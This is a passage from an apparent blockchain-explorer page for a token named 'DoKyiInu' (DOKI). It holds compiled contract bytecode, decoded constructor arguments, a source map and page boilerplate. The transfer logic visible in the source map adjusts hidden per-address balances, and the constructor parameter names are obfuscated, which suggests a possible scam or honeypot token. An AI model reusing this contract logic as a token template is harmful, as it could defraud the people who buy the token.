5260200190815260200160002054905092915050565b610733610ced565b73ffffffffffffffffffffffffffffffffffffffff1661075161056d565b73ffffffffffffffffffffffffffffffffffffffff16146107a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079e90611217565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610816576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080d906112a9565b60405180910390fd5b61081f81610cf5565b50565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561088d5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b6108cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c39061133b565b60405180910390fd5b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516109aa9190611003565b60405180910390a3600190509392505050565b6000600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610a4b57506000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15610aff578273ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610afe57600954600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610af69190611197565b925050819055505b5b60015481610b0d919061135b565b6007819055506000600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403610bb15780600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ba99190611197565b925050819055505b600954600754610bc191906113cc565b60038190555060035481610bd59190611197565b905060095460066000600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c4a91906113fd565b9250508190555081600260016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ce191906113fd565b92505081905550505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610df3578082015181840152602081019050610dd8565b60008484015250505050565b6000601f19601f8301169050919050565b6000610e1b82610db9565b610e258185610dc4565b9350610e35818560208601610dd5565b610e3e81610dff565b840191505092915050565b60006020820190508181036000830152610e638184610e10565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610e9b82610e70565b9050919050565b610eab81610e90565b8114610eb657600080fd5b50565b600081359050610ec881610ea2565b92915050565b6000819050919050565b610ee181610ece565b8114610eec57600080fd5b50565b600081359050610efe81610ed8565b92915050565b60008060408385031215610f1b57610f1a610e6b565b5b6000610f2985828601610eb9565b9250506020610f3a85828601610eef565b9150509250929050565b60008115159050919050565b610f5981610f44565b82525050565b6000602082019050610f746000830184610f50565b92915050565b6000819050919050565b6000610f9f610f9a610f9584610e70565b610f7a565b610e70565b9050919050565b6000610fb182610f84565b9050919050565b6000610fc382610fa6565b9050919050565b610fd381610fb8565b82525050565b6000602082019050610fee6000830184610fca565b92915050565b610ffd81610ece565b82525050565b60006020820190506110186000830184610ff4565b92915050565b60008060006060848603121561103757611036610e6b565b5b600061104586828701610eb9565b935050602061105686828701610eb9565b925050604061106786828701610eef565b9150509250925092565b60006020828403121561108757611086610e6b565b5b600061109584828501610eb9565b91505092915050565b6110a781610e90565b82525050565b60006020820190506110c2600083018461109e565b92915050565b600080604083850312156110df576110de610e6b565b5b60006110ed85828601610eb9565b92505060206110fe85828601610eb9565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061114f57607f821691505b60208210810361116257611161611108565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006111a282610ece565b91506111ad83610ece565b92508282039050818111156111c5576111c4611168565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611201602083610dc4565b915061120c826111cb565b602082019050919050565b60006020820190508181036000830152611230816111f4565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611293602683610dc4565b915061129e82611237565b604082019050919050565b600060208201905081810360008301526112c281611286565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611325602483610dc4565b9150611330826112c9565b604082019050919050565b6000602082019050818103600083015261135481611318565b9050919050565b600061136682610ece565b915061137183610ece565b925082820261137f81610ece565b9150828204841483151761139657611395611168565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006113d782610ece565b91506113e283610ece565b9250826113f2576113f161139d565b5b828204905092915050565b600061140882610ece565b915061141383610ece565b925082820190508082111561142b5761142a611168565b5b9291505056fea264697066735822122078f597820d2e915755ce31b1c457015306b64317997cb952c5fbc5c56a59222164736f6c63430008110033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000a9e1d0297c854674f1c8d1dbb31e6f85531bd2f30000000000000000000000000000000000000000000000000000000000000008446f4b7969496e750000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004444f4b4900000000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : volse (string): DoKyiInu
Arg [1] : nominommi (string): DOKI
Arg [2] : router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [3] : felelt (address): 0xa9e1d0297C854674f1C8d1dbB31E6f85531BD2f3
-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [3] : 000000000000000000000000a9e1d0297c854674f1c8d1dbb31e6f85531bd2f3
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [5] : 446f4b7969496e75000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [7] : 444f4b4900000000000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
8791:3606:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12311:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11539:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10757:41;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9390:86;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11758:313;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10663:86;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12079:108;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2588:94;;;:::i;:::-;;1937:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9484:86;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9578:210;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9896:128;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2837:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12311:83;12348:13;12381:5;12374:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12311:83;:::o;11539:134::-;11607:4;11631:34;11637:10;11649:7;11658:6;11631:5;:34::i;:::-;11624:41;;11539:134;;;;:::o;10757:41::-;;;;;;;;;;;;;:::o;9390:86::-;9434:7;9461;;9454:14;;9390:86;:::o;11758:313::-;11883:4;11900:33;11907:6;11915:9;11926:6;11900;:33::i;:::-;11966:9;11949:35;;11958:6;11949:35;;;11977:6;11949:35;;;;;;:::i;:::-;;;;;;;;12002:61;12008:6;12016:10;12056:6;12028:5;:13;12034:6;12028:13;;;;;;;;;;;;;;;:25;12042:10;12028:25;;;;;;;;;;;;;;;;:34;;;;:::i;:::-;12002:5;:61::i;:::-;11995:68;;11758:313;;;;;:::o;10663:86::-;10704:7;10731:10;;;;;;;;;;;10724:17;;;;10663:86;:::o;12079:108::-;12136:7;12163;:16;12171:7;12163:16;;;;;;;;;;;;;;;;12156:23;;12079:108;;;:::o;2588:94::-;2168:12;:10;:12::i;:::-;2157:23;;:7;:5;:7::i;:::-;:23;;;2149:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2653:21:::1;2671:1;2653:9;:21::i;:::-;2588:94::o:0;1937:87::-;1983:7;2010:6;;;;;;;;;;;2003:13;;1937:87;:::o;9484:86::-;9523:13;9556:6;9549:13;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9484:86;:::o;9578:210::-;9649:4;9666:37;9673:10;9685:9;9696:6;9666;:37::i;:::-;9740:9;9719:39;;9728:10;9719:39;;;9751:6;9719:39;;;;;;:::i;:::-;;;;;;;;9776:4;9769:11;;9578:210;;;;:::o;9896:128::-;9968:7;9995:5;:12;10001:5;9995:12;;;;;;;;;;;;;;;:21;10008:7;9995:21;;;;;;;;;;;;;;;;9988:28;;9896:128;;;;:::o;2837:192::-;2168:12;:10;:12::i;:::-;2157:23;;:7;:5;:7::i;:::-;:23;;;2149:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2946:1:::1;2926:22;;:8;:22;;::::0;2918:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;3002:19;3012:8;3002:9;:19::i;:::-;2837:192:::0;:::o;10240:343::-;10354:4;10396:1;10379:19;;:5;:19;;;;:44;;;;;10421:1;10402:21;;:7;:21;;;;10379:44;10371:93;;;;;;;;;;;;:::i;:::-;;;;;;;;;10499:6;10475:5;:12;10481:5;10475:12;;;;;;;;;;;;;;;:21;10488:7;10475:21;;;;;;;;;;;;;;;:30;;;;10537:7;10521:32;;10530:5;10521:32;;;10546:6;10521:32;;;;;;:::i;:::-;;;;;;;;10571:4;10564:11;;10240:343;;;;;:::o;10807:586::-;10947:1;10932:3;:11;10936:6;10932:11;;;;;;;;;;;;;;;;:16;:38;;;;;10969:1;10952:6;:14;10959:6;10952:14;;;;;;;;;;;;;;;;:18;10932:38;10928:146;;;11002:6;10991:17;;:7;;;;;;;;;;;:17;;;10987:76;;11044:3;;11029;:11;11033:6;11029:11;;;;;;;;;;;;;;;;:18;;;;;;;:::i;:::-;;;;;;;;10987:76;10928:146;11102:7;;11093:6;:16;;;;:::i;:::-;11086:4;:23;;;;11141:1;11126:3;:11;11130:6;11126:11;;;;;;;;;;;;;;;;:16;11122:74;;11178:6;11159:7;:15;11167:6;11159:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;11122:74;11244:3;;11237:4;;:10;;;;:::i;:::-;11228:6;:19;;;;11271:6;;11261:16;;;;;:::i;:::-;;;11310:3;;11288:6;:18;11295:10;;;;;;;;;;;11288:18;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;11337:9;11324:10;;:22;;;;;;;;;;;;;;;;;;11379:6;11357:7;:18;11365:9;11357:18;;;;;;;;;;;;;;;;:28;;;;;;;:::i;:::-;;;;;;;;10807:586;;;:::o;756:98::-;809:7;836:10;829:17;;756:98;:::o;3037:173::-;3093:16;3112:6;;;;;;;;;;;3093:25;;3138:8;3129:6;;:17;;;;;;;;;;;;;;;;;;3193:8;3162:40;;3183:8;3162:40;;;;;;;;;;;;3082:128;3037:173;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:60::-;3474:3;3495:5;3488:12;;3446:60;;;:::o;3512:142::-;3562:9;3595:53;3613:34;3622:24;3640:5;3622:24;:::i;:::-;3613:34;:::i;:::-;3595:53;:::i;:::-;3582:66;;3512:142;;;:::o;3660:126::-;3710:9;3743:37;3774:5;3743:37;:::i;:::-;3730:50;;3660:126;;;:::o;3792:152::-;3868:9;3901:37;3932:5;3901:37;:::i;:::-;3888:50;;3792:152;;;:::o;3950:183::-;4063:63;4120:5;4063:63;:::i;:::-;4058:3;4051:76;3950:183;;:::o;4139:274::-;4258:4;4296:2;4285:9;4281:18;4273:26;;4309:97;4403:1;4392:9;4388:17;4379:6;4309:97;:::i;:::-;4139:274;;;;:::o;4419:118::-;4506:24;4524:5;4506:24;:::i;:::-;4501:3;4494:37;4419:118;;:::o;4543:222::-;4636:4;4674:2;4663:9;4659:18;4651:26;;4687:71;4755:1;4744:9;4740:17;4731:6;4687:71;:::i;:::-;4543:222;;;;:::o;4771:619::-;4848:6;4856;4864;4913:2;4901:9;4892:7;4888:23;4884:32;4881:119;;;4919:79;;:::i;:::-;4881:119;5039:1;5064:53;5109:7;5100:6;5089:9;5085:22;5064:53;:::i;:::-;5054:63;;5010:117;5166:2;5192:53;5237:7;5228:6;5217:9;5213:22;5192:53;:::i;:::-;5182:63;;5137:118;5294:2;5320:53;5365:7;5356:6;5345:9;5341:22;5320:53;:::i;:::-;5310:63;;5265:118;4771:619;;;;;:::o;5396:329::-;5455:6;5504:2;5492:9;5483:7;5479:23;5475:32;5472:119;;;5510:79;;:::i;:::-;5472:119;5630:1;5655:53;5700:7;5691:6;5680:9;5676:22;5655:53;:::i;:::-;5645:63;;5601:117;5396:329;;;;:::o;5731:118::-;5818:24;5836:5;5818:24;:::i;:::-;5813:3;5806:37;5731:118;;:::o;5855:222::-;5948:4;5986:2;5975:9;5971:18;5963:26;;5999:71;6067:1;6056:9;6052:17;6043:6;5999:71;:::i;:::-;5855:222;;;;:::o;6083:474::-;6151:6;6159;6208:2;6196:9;6187:7;6183:23;6179:32;6176:119;;;6214:79;;:::i;:::-;6176:119;6334:1;6359:53;6404:7;6395:6;6384:9;6380:22;6359:53;:::i;:::-;6349:63;;6305:117;6461:2;6487:53;6532:7;6523:6;6512:9;6508:22;6487:53;:::i;:::-;6477:63;;6432:118;6083:474;;;;;:::o;6563:180::-;6611:77;6608:1;6601:88;6708:4;6705:1;6698:15;6732:4;6729:1;6722:15;6749:320;6793:6;6830:1;6824:4;6820:12;6810:22;;6877:1;6871:4;6867:12;6898:18;6888:81;;6954:4;6946:6;6942:17;6932:27;;6888:81;7016:2;7008:6;7005:14;6985:18;6982:38;6979:84;;7035:18;;:::i;:::-;6979:84;6800:269;6749:320;;;:::o;7075:180::-;7123:77;7120:1;7113:88;7220:4;7217:1;7210:15;7244:4;7241:1;7234:15;7261:194;7301:4;7321:20;7339:1;7321:20;:::i;:::-;7316:25;;7355:20;7373:1;7355:20;:::i;:::-;7350:25;;7399:1;7396;7392:9;7384:17;;7423:1;7417:4;7414:11;7411:37;;;7428:18;;:::i;:::-;7411:37;7261:194;;;;:::o;7461:182::-;7601:34;7597:1;7589:6;7585:14;7578:58;7461:182;:::o;7649:366::-;7791:3;7812:67;7876:2;7871:3;7812:67;:::i;:::-;7805:74;;7888:93;7977:3;7888:93;:::i;:::-;8006:2;8001:3;7997:12;7990:19;;7649:366;;;:::o;8021:419::-;8187:4;8225:2;8214:9;8210:18;8202:26;;8274:9;8268:4;8264:20;8260:1;8249:9;8245:17;8238:47;8302:131;8428:4;8302:131;:::i;:::-;8294:139;;8021:419;;;:::o;8446:225::-;8586:34;8582:1;8574:6;8570:14;8563:58;8655:8;8650:2;8642:6;8638:15;8631:33;8446:225;:::o;8677:366::-;8819:3;8840:67;8904:2;8899:3;8840:67;:::i;:::-;8833:74;;8916:93;9005:3;8916:93;:::i;:::-;9034:2;9029:3;9025:12;9018:19;;8677:366;;;:::o;9049:419::-;9215:4;9253:2;9242:9;9238:18;9230:26;;9302:9;9296:4;9292:20;9288:1;9277:9;9273:17;9266:47;9330:131;9456:4;9330:131;:::i;:::-;9322:139;;9049:419;;;:::o;9474:223::-;9614:34;9610:1;9602:6;9598:14;9591:58;9683:6;9678:2;9670:6;9666:15;9659:31;9474:223;:::o;9703:366::-;9845:3;9866:67;9930:2;9925:3;9866:67;:::i;:::-;9859:74;;9942:93;10031:3;9942:93;:::i;:::-;10060:2;10055:3;10051:12;10044:19;;9703:366;;;:::o;10075:419::-;10241:4;10279:2;10268:9;10264:18;10256:26;;10328:9;10322:4;10318:20;10314:1;10303:9;10299:17;10292:47;10356:131;10482:4;10356:131;:::i;:::-;10348:139;;10075:419;;;:::o;10500:410::-;10540:7;10563:20;10581:1;10563:20;:::i;:::-;10558:25;;10597:20;10615:1;10597:20;:::i;:::-;10592:25;;10652:1;10649;10645:9;10674:30;10692:11;10674:30;:::i;:::-;10663:41;;10853:1;10844:7;10840:15;10837:1;10834:22;10814:1;10807:9;10787:83;10764:139;;10883:18;;:::i;:::-;10764:139;10548:362;10500:410;;;;:::o;10916:180::-;10964:77;10961:1;10954:88;11061:4;11058:1;11051:15;11085:4;11082:1;11075:15;11102:185;11142:1;11159:20;11177:1;11159:20;:::i;:::-;11154:25;;11193:20;11211:1;11193:20;:::i;:::-;11188:25;;11232:1;11222:35;;11237:18;;:::i;:::-;11222:35;11279:1;11276;11272:9;11267:14;;11102:185;;;;:::o;11293:191::-;11333:3;11352:20;11370:1;11352:20;:::i;:::-;11347:25;;11386:20;11404:1;11386:20;:::i;:::-;11381:25;;11429:1;11426;11422:9;11415:16;;11450:3;11447:1;11444:10;11441:36;;;11457:18;;:::i;:::-;11441:36;11293:191;;;;:::o
Swarm Source
ipfs://78f597820d2e915755ce31b1c457015306b64317997cb952c5fbc5c56a592221
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.